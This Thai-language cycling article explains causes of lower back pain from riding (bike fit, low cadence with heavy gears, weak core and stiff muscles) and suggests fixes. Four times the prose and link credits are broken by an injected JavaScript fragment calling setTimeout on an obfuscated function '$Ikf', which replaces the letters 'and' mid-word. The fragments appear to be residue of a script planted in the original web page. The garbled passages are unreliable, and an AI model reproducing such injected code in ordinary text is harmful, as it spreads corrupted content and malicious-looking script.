อาการปวดหลังบริเวณ Lower Back จากการปั่น

อาการปวดหลังบริเวณ Lower Back จากการปั่น

ได้รับคำถามจากเพื่อนนักปั่นหลายๆ คนที่มีอาการปวดกล้ามเนื้อหลังบริเวณ Lower back…ไม่ทราบว่าเกิดจากอะไรครับ มีทางเเก้ไขหรือไม่ครับ?

การเเก้ไข เราต้องมาดูสาเหตุการเกิดอาการปวดหลังบริเวณ Lower Back ว่าสามารถเกิดได้จากสาเหตุอะไรบ้าง เพราะการกำจัดต้นเหตุต้นตอเป็นวิธีหายขาดที่ดีที่สุด

1. เหตุเกิดจาก Bad Bike Fitting หรือการจัดองศาจักรยานไม่เหมาะกับสัดส่วนของร่างกาย

ก่อนซื้อจักรยาน ต้องเลือกขนาดให้เหมาะสมกับร่างกายเราก่อน ซื้อมาผิดไซด์เวลาเเก้ไขที่หลังจะยากมาก สำหรับใครที่ไม่รู้ว่าจะเลือกซื้อไซด์อะไร เรามีตารางเป็น Guideline ให้ดูครับ

www.skiing.hu

เมื่อเลือกขนาด Frame ของจักรยานได้เเล้วมีจุด 2 จุดที่อยากให้เพื่อนๆ นักปั่นใส่ใจให้ดี คือ

ความสูงของเปาะนั่ง หรือ “Seat high” ที่จะมีผลต่อการควงขา (pedal) ของเรามาก ถ้าอยู่ในความสูงพอดี การควงขาจะไหลลื่น เเต่หากต่ำไป จะมีอาการปวดหน้าเข่าเป็นอย่างเเรก หรือหากสูงไปอาการปวดหลังช่วง lower back ก็จะเเสดงให้เห็น ระดับความสูงต่ำของเปาะจึงส่งผลต่อประสิทธิภาพการปั่นโดยตรง

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-maintenance/saddle-height-why-you-need-to-get-it-right” target=”_blank” data-noload=”” data-ved=”0ahUKEwi21JDK6d3MAhXGgI8KHf5rAEoQjB0IBg”>www.cyclingweekly.co.uk

ลองสังเกตดูว่าเมื่อความสูงไม่เหมาะสม ช่วงเอวสะโพกเราจะส่ายไปมา เป็นสาเหตุของอาการปวดหลังได้เช่นกัน

ต่อจากการปวดหลังเเล้ว ความสูงยังมีผลต่อการใช้กล้ามเนื้อขา เป็นต้นเหตุของอาการปวดเข่า ปวดกล้ามเนื้อ Hamstring และ Quard เป็นต้น เวลาทำ Bike Fitting เขาจะพยายามหามุมองศาที่ดีที่สุดให้กับนักปั่น เพื่อการควงขามีความคล่องในการออก action และสบายที่สุด การส่งถ่ายพลังจากมัดกล้ามเนื้อได้ไหลลื่นเเละต่อเนื่อง

www.bikefit.com

ต่อจากเรื่องความสูงต่ำของเปาะ (Seat high) ก็มาสู่เรื่อง “องศาเปาะนั่ง” (Saddle angle) ซึ่งการติดตั้งเปาะนั้นต้องได้ระนาบ (Horizontal) ไม่หัวตกลงหรือชี้โด่งขึ้น เพราะจะมีผลต่อ Posture ของผู้ปั่น เเละเเน่นอนว่าแผ่นหลังของเราด้วย

roadbikeaction.com

ในกรณีที่ชี้โด่งขึ้น จะไปรกกวนจุดสำคัญของคุณผู้ชายเเละคุณผู้หญิงได้ แต่ถ้าชี้ลง เวลาปั่นคุณจะเลื่อนตกจากเปาะลงเรื่อยๆ บริเวณมือ ข้อมือ เเขนและส่วน upper body จะรับภาระมากขึ้น เรื่องของเปาะยังไม่จบ ยังมีระยะห่างระหว่างเปาะกับเเฮนด์ (Saddle-handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar distance) หรือ Reach ด้วย

www.slideshare.net

ระยะห่างจะมีผลตั้งเเต่การยืดเเผ่นหลัง การรับน้ำหนักในส่วนของไหล่ เเขนและข้อมือ การใช้งานกล้ามเนื้อ core และที่ขาดไม่ได้ก็การตั้งองศาตะโพกเอว ทั้งนี้ยังมีการปรับจูนรายอะเอียดปลีกย่อยอีกเยอะสำหรับการทำ Bike Fitting สำหรับใครที่ปั่นเเล้วรู้สึกขัดๆ เจ็บกล้ามเนื้่อช่วง หัวเข่า แผ่นหลังหลังหรือบริเวณไหล่เเละข้อมือบ่อยๆ เเก้ยังไงก็ไม่หายก็เเนะนำให้ลองทำ Bike Fitting ใหม่

2. อาการปวดที่เกิดจากการใช้รอบขาต่ำเเละเกียร์หนัก ( Cadence andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hard gear)

ประการที่สองคือการใช้เกียร์หนัก ปั่นรอบช้า เป็นเวลานานเกินไป เป็นเสมือนการเล่นเวท กล้ามเนื้อจะถูกใช้งานเเละเกิดการล้า และฟื้นคืนก็ช้าด้วย กล้ามเนื้อจะเริ่มมีอาการเมื่อยล้า หากสะสมมากไปจะอักเสบ สังเกตได้ตั้งเเต่ ขา เข่า น่อง ลุกลามมาก้นเเละหลังตามลำดับ ดังนั้นการปั่นจักรยาน ที่เป็นกีฬาประเภท Endurance จึงไม่เหมาะการปั่นเกียร์หนักรอบขาต่ำเป็นระยะเวลานานๆ ควรจะใช้รอบสูงๆ (Cadence) เพื่อเเบ่งเบาภาระการใช้งานกล้ามเนื้อเเทน

รอบขาเเค่ไหนถึงจะเรียกว่าช้าเเละเร็ว เรามีคำตอบให้ครับ…

• Very slow: 50-70 RPM
• Slow: 70-80 RPM
• Moderate: 80-90 RPM
• Fast: 90-100 RPM
• Very Fast: 100-110 RPM
• Extremely Fast: 110+ RPM

หลักการปั่นที่นิยมกันคือ การเล่นรอบเเละเปลี่ยนเกียร์..ลองจินตนาการเราเป็นเหมือนรถยนต์ดู ต้องทำรอบให้สูงระดับหนึ่งแล้วเปลี่ยนเกียร์ เกียร์สูงๆ รอบจะเยอะเเต่การกินน้ำมันน้อย เบาออกเเรงน้อยและไปได้เร็ว เมื่อมองกลับกันเวลาเกียร์ต่ำเเรง (power) จะเยอะเเต่กินน้ำมันกว่า

เทคนิคในการปั่นอย่างเช่น เมื่อปั่นจนไปถึง 90-100 RPM จักรยานจะเริ่มเบา ให้เราใส่เกียร์สูง เพื่อเพิ่มความเร็ว เเต่ถ้ารู้สึกว่าเกียร์หนัก (รอบขาอาจจะตกลง) ให้ตบกลับมาเกียร์เดิมเพื่อเพิ่มรอบขา เเล้วใส่เกียร์สูงกลับไปใหม่อีกครั้ง วิธีการนี้จะทำให้เรารักษาพลังงานของกล้ามเนื้อได้นานขึ้น ชะลออาการเมื่อยล้า เเต่การทำงานของระบบหายใจเเละหัวใจจะสูงเเทน (ระบบ cardio)

จำไว้ว่า ปั่นรอบสูง รถเบา เเต่ระบบหัวใจและปอดทำงานหนัก กล้ามเนื้อขาทำงานเบา : ปั่นรอบต่ำ เกียร์หนัก จะสร้างพลังงานได้เยอะ เเต่กล้ามเนื้อทำงานหนัก ล้าเร็ว

ระบบหัวใจเเละปอดสามารถทนรับการโหลดของงานได้มากกว่ากล้ามเนื้อเเละฟื้นตัวได้เร็วกว่ากล้ามเนื้อ การปั่นรอบสูงๆ จะช่วยลดเเรงกระทำ (stress) บนเข่า กล้ามเนื้อ quard, Hamstring และ Glutes ด้วย

3. กล้ามเนื้อไม่เเข็งเเรงเเละไม่มีความยืดหยุ่น

Weak Core หรือ กล้ามเนื้อ core อ่อน เพราะถ้ากล้ามเนื้อส่วนนี้อ่อนเเรง กล้ามเนื้อขาเเละช่วงล่างไม่มีฐานจุดศูนย์กลางในการความเสถียร ไม่มีพื้นที่ยึดเกาะ ไม่สามารถส่งเเรงออกไปได้เต็มที่ เวลาปั่นสังเกตได้เลยว่าเอวสะโพก จะโยกไปมา คล้ายๆ กับการวิ่ง คนที่กล้ามเนื้อ core ไม่เเข็งเเรงจะโยกเอวขึ้นลงไปมา ทำให้เกิดอาการบาดเจ็บของกล้ามเนื้อแผ่นหลังและ Lower back ได้

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-running-form-the-role-of-hip-drop-in-running-injuries/” target=”_blank” data-noload=”” data-ved=”0ahUKEwjvqeP0rt7MAhULs48KHRn1BLkQjB0IBg”>runnersconnect.net

เวลาที่วิ่งหรือปั่น ถ้าเราโยกเอวไปมา จะไปกระตุกกล้ามเนื้อชุดอื่นๆ กล้ามเนื้อหลักและกล้ามเนื้อมัดเล็กมัดน้อยที่ทำหน้าที่ซัพพอร์ตจะต้องมาทำงานหนักมากขึ้น วิธีเเก้ไข ก็คือการฝึกกล้ามเนื้อครับ…ลองดูการฝึกได้ที่ “5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core”

ในส่วนของความยืดหยุ่น เข้าใจว่าคงมีตวามรู้ด้านนี้กันดี ต้องมีการทำ stretch มีการ warm-up และ cool-down ร่างกายทุกครั้งก่อนปั่น กล้ามเนื้อที่ถูกใช้งานมาหนักๆ ซ้ำๆ กัน จะมีความเเข็งตัว อย่างกล้ามเนื้อ hamstring เวลาเเข็งตัวจะไปดึงเชิงกรานให้โยกไปมา

กล้ามเนื้อที่เเข็งตัวจะเกิดมีปมกล้ามเนื้อหรือ Knot ที่การยืดไม่สามารถเข้า่ถึงได้ จำเป้นต้องใช้การนวดหรือใช้ Foam Rolling ช่วยสลาย ให้กล้ามเนื้อกลับมายืดหยุ่นเช่นเดิม